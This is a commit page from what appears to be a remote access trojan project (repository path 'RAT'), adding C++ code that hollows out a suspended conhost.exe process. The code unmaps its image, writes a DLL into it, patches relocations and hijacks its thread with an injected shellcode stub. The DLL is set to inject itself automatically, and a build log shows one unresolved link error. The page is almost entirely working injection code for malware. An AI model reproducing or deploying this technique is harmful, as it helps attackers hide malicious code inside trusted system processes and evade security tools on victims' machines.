Working on autoinjection of dll into conhost.exe

This commit is contained in:
hellisabove
2023-07-04 02:44:22 +03:00
parent e99cfca22a
commit b021234380
27 changed files with 213 additions and 16 deletions
+2 -5
View File
@@ -1,8 +1,5 @@
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Platforms\Win32\PlatformToolsets\v141_xp\Toolset.targets(39,5): warning MSB8051: Support for targeting Windows XP is deprecated and will not be present in future releases of Visual Studio. Please see https://go.microsoft.com/fwlink/?linkid=2023588 for more information.
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Microsoft.CppBuild.targets(391,5): warning MSB8028: The intermediate directory (Debug\) contains files shared from another project (Dll.vcxproj). This can lead to incorrect clean and rebuild behavior.
fundll.cpp
Creating library C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.lib and object C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.exp
Generating code
All 3 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
Finished generating code
Dll.vcxproj -> C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.dll
tools.obj : error LNK2001: unresolved external symbol _NtQueryInformationProcess@20
C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.dll : fatal error LNK1120: 1 unresolved externals
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+4
View File
@@ -140,6 +140,10 @@
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="fundll.cpp" />
<ClCompile Include="tools.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="tools.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
+8
View File
@@ -18,5 +18,13 @@
<ClCompile Include="fundll.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="tools.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="tools.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+30 -11
View File
@@ -1,23 +1,42 @@
#include <Windows.h>
#include "tools.h"
BOOL was_dllmain_called = FALSE;
DWORD dll_param;
LPSTR target_path = "C:\\Windows\\System32\\conhost.exe";
extern "C" __declspec(dllexport) void FunEntry() {
char dll_path[MAX_PATH];
DWORD ret = GetModuleFileNameA((HINSTANCE)dll_param, dll_path, MAX_PATH);
char test[1024];
wsprintfA(test, "%s", dll_path);
MessageBoxA(0, test, "", 0);
// inject dll
Tools::AutoInject(target_path, dll_path);
}
BOOL APIENTRY DllMain(HMODULE Base, DWORD Callback, LPVOID Param) {
dll_param = (DWORD)Base;
was_dllmain_called = TRUE;
switch (Callback) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
default:
break;
}
return 1;
return TRUE;
}
extern "C" __declspec(dllexport) int FunEntry() {
char exe[MAX_PATH + 1];
GetModuleFileNameA(0, exe, sizeof(exe));
MessageBoxA(0, exe, "I am inside: ", 0);
return 0;
extern "C" __declspec(dllexport) void MainBitch() {
if (was_dllmain_called) {
while (TRUE) {
char exe[MAX_PATH + 1];
GetModuleFileNameA(0, exe, sizeof(exe));
MessageBoxA(0, exe, "I am inside: ", 0);
}
} else {
MessageBoxA(NULL, "DLLMain was not called", NULL, 0);
}
}
+162
View File
@@ -0,0 +1,162 @@
#include "tools.h"
#include <winternl.h>
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
DWORD ConvertVirtualAddressToRawAddress(DWORD virtual_address, LPVOID file) {
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER) file;
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)((DWORD)file + dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
while (virtual_address > section->VirtualAddress + section->Misc.VirtualSize)
section++;
DWORD offset = virtual_address - section->VirtualAddress;
DWORD raw_address = offset + section->PointerToRawData;
return raw_address;
}
int Tools::AutoInject(LPSTR target, LPCSTR payload) {
LPSTARTUPINFOA startup_info = new STARTUPINFOA();
LPPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *process_basic_info = new PROCESS_BASIC_INFORMATION();
BOOL process_created = CreateProcessA(NULL, target, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, startup_info, process_info);
if (process_created == TRUE) {
HANDLE target_process = process_info->hProcess;
if (target_process != INVALID_HANDLE_VALUE) {
DWORD return_lenght = 0;
NtQueryInformationProcess(target_process, ProcessBasicInformation, process_basic_info, sizeof(PROCESS_BASIC_INFORMATION), &return_lenght);
DWORD image_base_offset = (DWORD)process_basic_info->PebBaseAddress + 8;
LPVOID destination_image_base = 0;
SIZE_T bytes_read = NULL;
BOOL process_read = ReadProcessMemory(target_process, (LPCVOID)image_base_offset, &destination_image_base, 4, &bytes_read);
if (process_read == TRUE && destination_image_base != ERROR) {
HANDLE dll_file = CreateFileA(payload, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
if (dll_file != INVALID_HANDLE_VALUE) {
DWORD dll_size = GetFileSize(dll_file, NULL);
LPDWORD file_bytes_read = 0;
LPVOID dll_buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
if (dll_buffer != ERROR) {
DWORD ss = 0;
BOOL dll_read = ReadFile(dll_file, dll_buffer, dll_size, &ss, NULL);
if (dll_read == TRUE) {
PIMAGE_DOS_HEADER dll_image_dos_header = (PIMAGE_DOS_HEADER)dll_buffer;
PIMAGE_NT_HEADERS dll_image_nt_headers = (PIMAGE_NT_HEADERS)((DWORD)dll_buffer + dll_image_dos_header->e_lfanew);
SIZE_T dll_image_size = dll_image_nt_headers->OptionalHeader.SizeOfImage;
NtUnmapViewOfSection unmap_section = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");
if (NT_SUCCESS(unmap_section(target_process, destination_image_base))) {
LPVOID new_destination_image_base = VirtualAllocEx(target_process, destination_image_base, dll_image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
destination_image_base = new_destination_image_base;
DWORD delta_image_base = (DWORD)destination_image_base - dll_image_nt_headers->OptionalHeader.ImageBase;
dll_image_nt_headers->OptionalHeader.ImageBase = (DWORD)destination_image_base;
WriteProcessMemory(target_process, new_destination_image_base, dll_buffer, dll_image_nt_headers->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER dll_image_section_header = (PIMAGE_SECTION_HEADER)((DWORD)dll_buffer + dll_image_dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER old_dll_section_header = dll_image_section_header;
for (int i = 0; i < dll_image_nt_headers->FileHeader.NumberOfSections; i++) {
PVOID destination_section_location = (PVOID)((DWORD)destination_image_base + dll_image_section_header->VirtualAddress);
PVOID source_section_location = (PVOID)((DWORD)dll_buffer + dll_image_section_header->PointerToRawData);
WriteProcessMemory(target_process, destination_section_location, source_section_location, dll_image_section_header->SizeOfRawData, NULL);
dll_image_section_header++;
}
// get FunEntry from exported function address
PIMAGE_EXPORT_DIRECTORY image_export_directory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dll_buffer + ConvertVirtualAddressToRawAddress((DWORD)dll_image_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, dll_buffer));
PDWORD pEAT = (DWORD*)((DWORD)dll_buffer + ConvertVirtualAddressToRawAddress(image_export_directory->AddressOfFunctions, dll_buffer));
//pEAT[0] - 1st exported function
//pEAT[1] - 2nd exported function
IMAGE_DATA_DIRECTORY relocation_table = dll_image_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
dll_image_section_header = old_dll_section_header;
for (int x = 0; x < dll_image_nt_headers->FileHeader.NumberOfSections; x++) {
BYTE* reloc_section_name = (BYTE*)".reloc";
if (memcmp(dll_image_section_header->Name, reloc_section_name, 5) != 0) {
dll_image_section_header++;
continue;
}
DWORD source_relocation_table_raw = dll_image_section_header->PointerToRawData;
DWORD relocation_offset = 0;
while (relocation_offset < relocation_table.Size) {
PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)((DWORD)dll_buffer + source_relocation_table_raw + relocation_offset);
relocation_offset += sizeof(PBASE_RELOCATION_BLOCK);
DWORD relocation_counts = (relocation_block->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)((DWORD)dll_buffer + source_relocation_table_raw + relocation_offset);
for (DWORD a = 0; a < relocation_counts; a++) {
relocation_offset += sizeof(BASE_RELOCATION_ENTRY);
if (relocation_entries[a].Type == 0)
continue;
DWORD patched_address = relocation_block->PageAddress + relocation_entries[a].Offset;
DWORD patched_buffer = 0;
DWORD bytes_read = 0;
ReadProcessMemory(target_process, (LPCVOID)((DWORD)destination_image_base + patched_address), &patched_buffer, sizeof(DWORD), &bytes_read);
patched_buffer += delta_image_base;
WriteProcessMemory(target_process, (PVOID)((DWORD)destination_image_base + patched_address), &patched_buffer, sizeof(DWORD), file_bytes_read);
}
}
}
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(process_info->hThread, context);
// machine code -> opcodes
// code for exec DllMain when injected
BYTE code[] = {
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0xB8, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0xFF, 0xE0 // jmp eax
};
*((PDWORD)(code + 1)) = 0; // 3rd param
*((PDWORD)(code + 6)) = 1; // 2nd param
*((PDWORD)(code + 11)) = (DWORD)destination_image_base; // 1st param
*((PDWORD)(code + 16)) = (DWORD)destination_image_base + pEAT[1];
*((PDWORD)(code + 21)) = (DWORD)destination_image_base + dll_image_nt_headers->OptionalHeader.AddressOfEntryPoint;
LPVOID address_buffer = VirtualAllocEx(target_process, NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL success = WriteProcessMemory(target_process, address_buffer, code, sizeof(code), NULL);
if (success == TRUE) {
context->Eax = (DWORD)address_buffer;
SetThreadContext(process_info->hThread, context);
ResumeThread(process_info->hThread);
}
return 0;
}
}
}
}
CloseHandle(dll_file);
}
}
CloseHandle(target_process);
}
}
+7
View File
@@ -0,0 +1,7 @@
#include <Windows.h>
#pragma once
namespace Tools {
int AutoInject(LPSTR target_process, LPCSTR payload);
}